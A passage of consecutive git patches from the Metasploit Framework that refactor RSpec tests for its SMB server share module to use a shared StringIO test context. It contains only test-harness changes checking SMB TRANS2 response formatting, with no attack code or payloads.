Subject: [PATCH 068/103] Use Msf::StringIO on find_first2_spec --- .../share/command/trans2/find_first2_spec.rb | 21 +++++++------------ 1 file changed, 7 insertions(+), 14 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index 62b5d42c53..10407cf777 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:valid_find_file_both_directory_info_params) do "\x16\x00\x56\x05\x07\x00\x04\x01\x00\x00\x00\x00\x5c\x00\x74\x00" + "\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" @@ -31,8 +24,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:find_file_both_directory_info_res_length) { 179 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -50,13 +44,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid SMB_FIND_FILE_BOTH_DIRECTORY_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params)).to eq(find_file_both_directory_info_res_length) + expect(mod.smb_cmd_trans2_find_first2(msf_io, valid_find_file_both_directory_info_params)).to eq(find_file_both_directory_info_res_length) end it "send TRANSACTIONS2 response with the file name found in the SMB_Data" do - mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_find_first2(msf_io, valid_find_file_both_directory_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From 21ea110aef5c02bf468f45b1101623fec398c266 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:41:00 -0600 Subject: [PATCH 069/103] Use Msf::StringIO on query_file_information_spec --- .../trans2/query_file_information_spec.rb | 20 ++++++------------- 1 file changed, 6 insertions(+), 14 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb index dbc6515a1e..85a675a9c5 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:valid_query_file_standard_info_params) do "\xad\xde\xed\x03" end @@ -31,7 +24,7 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do before(:each) do mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -49,13 +42,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid SMB_QUERY_FILE_STANDARD_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params)).to eq(query_file_standard_info_res_length) + expect(mod.smb_cmd_trans2_query_file_information(msf_io, valid_query_file_standard_info_params)).to eq(query_file_standard_info_res_length) end it "send SMB_QUERY_FILE_STANDARD_INFO response with the file size" do - mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_query_file_information(msf_io, valid_query_file_standard_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From 07ab7bac9c96f4a3d55c887aa6e92eef646dd873 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:42:59 -0600 Subject: [PATCH 070/103] Use Msf::StringIO on query_path_information_spec --- .../trans2/query_path_information_spec.rb | 35 +++++++------------ 1 file changed, 13 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb index 01165159bf..d2270e3804 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:valid_query_path_standard_info_params) do "\xed\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + "\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" @@ -43,8 +36,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:not_found_res_length) { 39 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -62,13 +56,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid SMB_QUERY_PATH_STANDARD_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params)).to eq(query_path_standard_info_res_length) + expect(mod.smb_cmd_trans2_query_path_information(msf_io, valid_query_path_standard_info_params)).to eq(query_path_standard_info_res_length) end it "send SMB_QUERY_PATH_STANDARD_INFO response with the file size" do - mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_query_path_information(msf_io, valid_query_path_standard_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -85,13 +78,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid SMB_QUERY_PATH_BASIC_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params)).to eq(query_path_basic_info_res_length) + expect(mod.smb_cmd_trans2_query_path_information(msf_io, valid_query_path_basic_info_params)).to eq(query_path_basic_info_res_length) end it "send SMB_QUERY_PATH_BASIC_INFO response with the file attributes" do - mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_query_path_information(msf_io, valid_query_path_basic_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -108,13 +100,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when non existent file SMB_QUERY_PATH_BASIC_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params)).to eq(not_found_res_length) + expect(mod.smb_cmd_trans2_query_path_information(msf_io, non_existent_query_path_basic_info_params)).to eq(not_found_res_length) end it "send TRANS2 response with error" do - mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_query_path_information(msf_io, non_existent_query_path_basic_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From 5600119fca144405343ef033e0d16491fe973025 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:45:45 -0600 Subject: [PATCH 071/103] Use Msf::StringIO on trans2_spec --- .../smb/server/share/command/trans2_spec.rb | 57 +++++++------------ 1 file changed, 22 insertions(+), 35 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb index 556fa91924..f4164f6563 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:unicode_path) { "\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" } let(:normalized_path) { '\\test.exe' } let(:ascii_path) { 'test.exe' } @@ -73,8 +66,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:empty_query_res_length) { 39 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -123,13 +117,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans2" do context "when valid FIND_FIRST2 subcommand request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2(client, valid_find_first2)).to eq(find_first2_res_length) + expect(mod.smb_cmd_trans2(msf_io, valid_find_first2)).to eq(find_first2_res_length) end it "sends a FIND_FIRST2 response with parameters" do - mod.smb_cmd_trans2(client, valid_find_first2) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_find_first2) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -137,9 +130,8 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end it "sends a FIND_FIRST2 response with data" do - mod.smb_cmd_trans2(client, valid_find_first2) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_find_first2) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -149,13 +141,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid QUERY_FILE_INFO subcommand request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2(client, valid_query_file_info)).to eq(query_file_info_res_length) + expect(mod.smb_cmd_trans2(msf_io, valid_query_file_info)).to eq(query_file_info_res_length) end it "sends a QUERY_FILE_INFO response with parameters" do - mod.smb_cmd_trans2(client, valid_query_file_info) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_query_file_info) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -163,9 +154,8 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end it "sends a QUERY_FILE_INFO response with data" do - mod.smb_cmd_trans2(client, valid_query_file_info) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_query_file_info) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -175,13 +165,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid QUERY_PATH_INFO subcommand request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2(client, valid_query_path_info)).to eq(query_path_info_res_length) + expect(mod.smb_cmd_trans2(msf_io, valid_query_path_info)).to eq(query_path_info_res_length) end it "sends a QUERY_PATH_INFO response with parameters" do - mod.smb_cmd_trans2(client, valid_query_path_info) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_query_path_info) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -189,9 +178,8 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end it "sends a QUERY_PATH_INFO response with data" do - mod.smb_cmd_trans2(client, valid_query_path_info) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_query_path_info) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -201,13 +189,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when empty request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2(client, empty_query)).to eq(empty_query_res_length) + expect(mod.smb_cmd_trans2(msf_io, empty_query)).to eq(empty_query_res_length) end it "sends an SMB_NT_STATUS_NOT_FOUND error to the client" do - mod.smb_cmd_trans2(client, empty_query) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, empty_query) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From 2dbb610d992ed2c7d88a208ebd221d73bbdbe5d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 11:15:56 -0600 Subject: [PATCH 072/103] Use Msf::StringIO on find_spec --- .../share/information_level/find_spec.rb | 98 ++++++++----------- 1 file changed, 40 insertions(+), 58 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb index 07641aa221..22a2ad9532 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_find_file_both_directory_info_res_length) { 163 } let(:default_find_file_both_directory_info_res) do "\x00\x00\x00\x9f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + @@ -79,8 +72,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -97,13 +91,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_find_file_both_directory_info_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_find_file_both_directory_info_res(client)).to eq(default_find_file_both_directory_info_res_length) + expect(mod.send_find_file_both_directory_info_res(msf_io)).to eq(default_find_file_both_directory_info_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_find_file_both_directory_info_res(client) - client.seek(0) - res = client.read + mod.send_find_file_both_directory_info_res(msf_io) + res = msf_io.read expect(res).to eq(default_find_file_both_directory_info_res) end end @@ -112,13 +105,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_find_file_names_info_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_find_file_names_info_res(client)).to eq(default_find_file_names_info_res_length) + expect(mod.send_find_file_names_info_res(msf_io)).to eq(default_find_file_names_info_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_find_file_names_info_res(client) - client.seek(0) - res = client.read + mod.send_find_file_names_info_res(msf_io) + res = msf_io.read expect(res).to eq(default_find_file_names_info_res) end end @@ -127,13 +119,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_find_full_directory_info_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_find_full_directory_info_res(client)).to eq(default_find_full_directory_info_res_length) + expect(mod.send_find_full_directory_info_res(msf_io)).to eq(default_find_full_directory_info_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_find_full_directory_info_res(client) - client.seek(0) - res = client.read + mod.send_find_full_directory_info_res(msf_io) + res = msf_io.read expect(res).to eq(default_find_full_directory_info_res) end end @@ -142,13 +133,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_find_file_both_directory_info" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_both_directory_info(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_find_file_both_directory_info(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do - mod.smb_cmd_find_file_both_directory_info(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_both_directory_info(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -159,13 +149,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_both_directory_info(client, file_path)).to eq(existent_file_file_both_dir_res_length) + expect(mod.smb_cmd_find_file_both_directory_info(msf_io, file_path)).to eq(existent_file_file_both_dir_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_both_directory_info(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_both_directory_info(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -182,13 +171,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_both_directory_info(client, folder_path)).to eq(existent_folder_file_both_dir_res_length) + expect(mod.smb_cmd_find_file_both_directory_info(msf_io, folder_path)).to eq(existent_folder_file_both_dir_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_both_directory_info(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_both_directory_info(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -207,13 +195,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_find_file_names_info" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_names_info(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_find_file_names_info(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do - mod.smb_cmd_find_file_names_info(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_names_info(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -224,13 +211,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_names_info(client, file_path)).to eq(existent_file_file_names_res_length) + expect(mod.smb_cmd_find_file_names_info(msf_io, file_path)).to eq(existent_file_file_names_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_names_info(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_names_info(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -247,13 +233,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_names_info(client, folder_path)).to eq(existent_folder_file_names_res_length) + expect(mod.smb_cmd_find_file_names_info(msf_io, folder_path)).to eq(existent_folder_file_names_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_names_info(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_names_info(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -272,13 +257,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_find_file_full_directory_info" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_full_directory_info(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_find_file_full_directory_info(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do - mod.smb_cmd_find_file_full_directory_info(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_full_directory_info(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -289,13 +273,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_full_directory_info(client, file_path)).to eq(existent_file_file_full_res_length) + expect(mod.smb_cmd_find_file_full_directory_info(msf_io, file_path)).to eq(existent_file_file_full_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_full_directory_info(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_full_directory_info(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -312,13 +295,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_full_directory_info(client, folder_path)).to eq(existent_folder_file_full_res_length) + expect(mod.smb_cmd_find_file_full_directory_info(msf_io, folder_path)).to eq(existent_folder_file_full_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_full_directory_info(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_full_directory_info(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From d5d177b78232c1b99fd8d906dbccc6dc75af2ba9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 11:20:03 -0600 Subject: [PATCH 073/103] Use Msf::StringIO on query_spec --- .../share/information_level/query_spec.rb | 126 ++++++++---------- 1 file changed, 52 insertions(+), 74 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb index 88133d9ec8..277ff933d8 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_info_basic_res_length) { 101 } let(:default_info_basic_res) do "\x00\x00\x00\x61\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + @@ -74,8 +67,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:existent_path_info_network_res_length) { 117 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -92,13 +86,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_info_basic_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_info_basic_res(client)).to eq(default_info_basic_res_length) + expect(mod.send_info_basic_res(msf_io)).to eq(default_info_basic_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_info_basic_res(client) - client.seek(0) - res = client.read + mod.send_info_basic_res(msf_io) + res = msf_io.read expect(res).to eq(default_info_basic_res) end end @@ -107,13 +100,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_info_standard_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_info_standard_res(client)).to eq(default_info_standard_res_length) + expect(mod.send_info_standard_res(msf_io)).to eq(default_info_standard_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_info_standard_res(client) - client.seek(0) - res = client.read + mod.send_info_standard_res(msf_io) + res = msf_io.read expect(res).to eq(default_info_standard_res) end end @@ -122,13 +114,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_info_network_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_info_network_res(client)).to eq(default_info_network_res_length) + expect(mod.send_info_network_res(msf_io)).to eq(default_info_network_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_info_network_res(client) - client.seek(0) - res = client.read + mod.send_info_network_res(msf_io) + res = msf_io.read expect(res).to eq(default_info_network_res) end end @@ -137,13 +128,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_file_info_basic" do context "when non existent fid" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid)).to eq(error_res_length) + expect(mod.smb_cmd_trans_query_file_info_basic(msf_io, non_existent_fid)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do - mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_file_info_basic(msf_io, non_existent_fid) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -154,13 +144,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file fid" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_file_info_basic(client, file_fid)).to eq(existent_fid_info_basic_res_length) + expect(mod.smb_cmd_trans_query_file_info_basic(msf_io, file_fid)).to eq(existent_fid_info_basic_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do - mod.smb_cmd_trans_query_file_info_basic(client, file_fid) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_file_info_basic(msf_io, file_fid) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -177,13 +166,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder fid" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_file_info_basic(client, folder_fid)).to eq(existent_fid_info_basic_res_length) + expect(mod.smb_cmd_trans_query_file_info_basic(msf_io, folder_fid)).to eq(existent_fid_info_basic_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do - mod.smb_cmd_trans_query_file_info_basic(client, folder_fid) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_file_info_basic(msf_io, folder_fid) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -201,13 +189,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_file_info_standard" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid)).to eq(info_standard_res_length) + expect(mod.smb_cmd_trans_query_file_info_standard(msf_io, non_existent_fid)).to eq(info_standard_res_length) end it "always sends a TRANSACTION2 response with SMB_QUERY_FILE_STANDARD_INFO about the shared file" do - mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_file_info_standard(msf_io, non_existent_fid) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -225,13 +212,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_path_info_basic" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path)).to 